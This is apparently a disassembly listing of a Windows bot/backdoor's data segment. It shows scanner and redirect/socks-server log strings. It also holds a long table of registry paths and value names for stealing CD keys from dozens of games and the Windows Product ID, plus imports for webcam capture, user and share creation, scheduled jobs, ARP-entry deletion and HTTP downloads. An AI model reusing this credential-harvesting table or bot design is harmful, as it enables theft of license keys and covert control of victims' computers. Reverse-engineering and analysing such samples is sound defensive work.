		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_427958	db    2			; DATA XREF: sub_40776F+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_4279A8	db    2			; DATA XREF: sub_407983+1CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_427A00	db    2			; DATA XREF: sub_407983+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_0	db '  Failed to start worker thread, error: <%d>.',0
		align 10h
unk_427A50	db    2			; DATA XREF: sub_407983+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_427A9C	db    2			; DATA XREF: sub_407983+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_427AE8	db    2			; DATA XREF: sub_407BE2+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 4
unk_427B38	db    2			; DATA XREF: sub_407BE2+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427B90	db    2			; DATA XREF: sub_407D6A+1AAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_427BE4	db    2			; DATA XREF: sub_407D6A+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_427C3C	db    2			; DATA XREF: seg000:004081A0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_2	db 'Failed to start server on Port %d.',0
		align 10h
unk_427C80	db    2			; DATA XREF: seg000:0040817Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_3	db 'Failed to start client thread, error: <%d>.',0
unk_427CCC	db    2			; DATA XREF: seg000:00408102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_427D24	db    2			; DATA XREF: seg000:00408096o
					; seg000:004126B7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on: %s:%d.',0
		align 10h
unk_427D60	db    2			; DATA XREF: seg000:004083ECo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_427DB4	db    2			; DATA XREF: seg000:0040837Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
dword_427E04	dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
					; DATA XREF: seg000:004082E5o
		dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h,	69746E65h
		dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
		dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
		dd 0
		dd 80000001h
off_427E5C	dd offset aSoftwareValveC ; DATA XREF: sub_4085B7+Cr
					; sub_4085B7+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427E68	dd 2 dup(0)			dd 80000001h, 428FF0h, 428FE4h,	428FD4h, 2 dup(0)
		dd 80000001h, 428FB4h, 428FB0h,	428F9Ch, 2 dup(0)
		dd 80000001h, 428F78h, 428FB0h,	428F6Ch, 2 dup(0)
		dd 80000001h, 428F48h, 428F40h,	428F2Ch, 2 dup(0)
		dd 80000001h, 428F18h, 428F08h,	428EECh, 2 dup(0)
		dd 80000001h, 428EA8h, 429030h,	428E94h, 2 dup(0)
		dd 80000002h, 428E68h, 428E5Ch,	428E3Ch, 2 dup(0)
		dd 80000002h, 428E08h, 429030h,	428DF0h, 2 dup(0)
		dd 80000002h, 428DBCh, 429030h,	428DA4h, 2 dup(0)
		dd 80000002h, 428D8Ch, 429030h,	428D74h, 2 dup(0)
		dd 80000002h, 428D38h, 438F9Ch,	428D28h, 2 dup(0)
		dd 80000002h, 428CF0h, 438F9Ch,	428CDCh, 2 dup(0)
		dd 80000002h, 428C90h, 438F9Ch,	428C70h, 2 dup(0)
		dd 80000002h, 428C20h, 438F9Ch,	428BF4h, 2 dup(0)
		dd 80000002h, 428BB8h, 438F9Ch,	428BA4h, 2 dup(0)
		dd 80000002h, 428B6Ch, 438F9Ch,	428B5Ch, 2 dup(0)
		dd 80000002h, 428B0Ch, 438F9Ch,	428AE0h, 2 dup(0)
		dd 80000002h, 428AA0h, 438F9Ch,	428A84h, 2 dup(0)
		dd 80000002h, 428A54h, 438F9Ch,	428A34h, 2 dup(0)
		dd 80000002h, 4289F8h, 438F9Ch,	4289E4h, 2 dup(0)
		dd 80000002h, 42899Ch, 438F9Ch,	42897Ch, 2 dup(0)
		dd 80000002h, 428928h, 438F9Ch,	4288F8h, 2 dup(0)
		dd 80000002h, 4288A8h, 438F9Ch,	42887Ch, 2 dup(0)
		dd 80000002h, 42883Ch, 428834h,	428814h, 2 dup(0)
		dd 80000002h, 4287D0h, 438F9Ch,	4287B4h, 2 dup(0)
		dd 80000002h, 428768h, 438F9Ch,	428744h, 2 dup(0)
		dd 80000002h, 428710h, 438F9Ch,	428704h, 2 dup(0)
		dd 80000002h, 4286D0h, 438F9Ch,	4286C4h, 2 dup(0)
		dd 80000002h, 428690h, 438F9Ch,	428684h, 2 dup(0)
		dd 80000002h, 428650h, 438F9Ch,	428644h, 2 dup(0)
		dd 80000002h, 428608h, 438F9Ch,	4285F4h, 2 dup(0)
		dd 80000002h, 4285B8h, 438F9Ch,	4285A4h, 2 dup(0)
		dd 80000002h, 428574h, 429030h,	428558h, 2 dup(0)
		dd 80000002h, 428538h, 428530h,	42850Ch, 2 dup(0)
		dd 80000002h, 4284F0h, 428530h,	4284D0h, 2 dup(0)
		dd 80000002h, 4284B0h, 428530h,	42848Ch, 2 dup(0)
		dd 80000002h, 428474h, 428530h,	428470h, 2 dup(0)
		dd 80000002h, 428454h, 428444h,	42843Ch, 2 dup(0)
		dd 80000002h, 428408h, 428404h,	4283ECh, 2 dup(0)
		dd 80000002h, 4283B0h, 4283A4h,	42837Ch, 42836Ch, 428358h
		dd 80000002h, 428334h, 428328h,	428314h, 428304h, 4282FCh
		dd 80000002h, 428334h, 428328h,	4282D0h, 428304h, 4282C8h
		dd 80000002h, 428334h, 428328h,	428298h, 428304h, 428290h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: seg002:0042DE48o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00427E64o
aCdkey		db 'CDKey',0            ; DATA XREF: seg002:00427E60o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_427E5Co
		align 10h
asc_429060:				; DATA XREF: sub_4085B7+E9o
					; sub_4085B7+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_4085B7+8Fo
					; seg000:loc_41128Fo
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_4085B7+7Eo
					; sub_408884+45o
		align 10h
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085B7+2Bo
		align 4
unk_429084	db    2			; DATA XREF: sub_40876C+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_4290B8	db    2			; DATA XREF: sub_40876C+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408884+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408884+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089D6+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089D6+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4089D6:loc_409611o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4089D6+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4089D6+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4089D6+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4089D6+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4089D6+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4089D6+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4089D6:loc_409573o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4089D6+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4089D6+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4089D6:loc_409529o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089D6+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089D6+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089D6+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089D6+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4089D6:loc_4094B5o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089D6+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4089D6+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4089D6:loc_40946Bo
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089D6+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089D6+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4089D6:loc_409421o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089D6+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4089D6+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4089D6+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4089D6+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4089D6+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4089D6+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4089D6+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089D6+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4089D6+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4089D6+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4089D6+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4089D6:loc_409316o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4089D6+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4089D6+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4089D6+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4089D6:loc_4092B7o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089D6+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4089D6+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4089D6+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089D6+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089D6+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4089D6+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4089D6+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4089D6+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089D6+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089D6+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089D6+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4089D6:loc_409197o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4089D6+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4089D6+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4089D6+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4089D6+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4089D6+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4089D6+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4089D6+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4089D6+62Do
					; seg002:0042C59Co
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4089D6+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4089D6+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4089D6+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4089D6+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_4089D6+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4089D6+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_4089D6+5D2o
					; seg000:0040EF10o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4089D6+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4089D6+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4089D6+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_4089D6+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4089D6+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4089D6+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4089D6+577o
					; seg002:0042C9ACo
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4089D6+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4089D6+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4089D6+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4089D6+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4089D6+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4089D6+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4089D6+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4089D6+50Fo
		align 10h
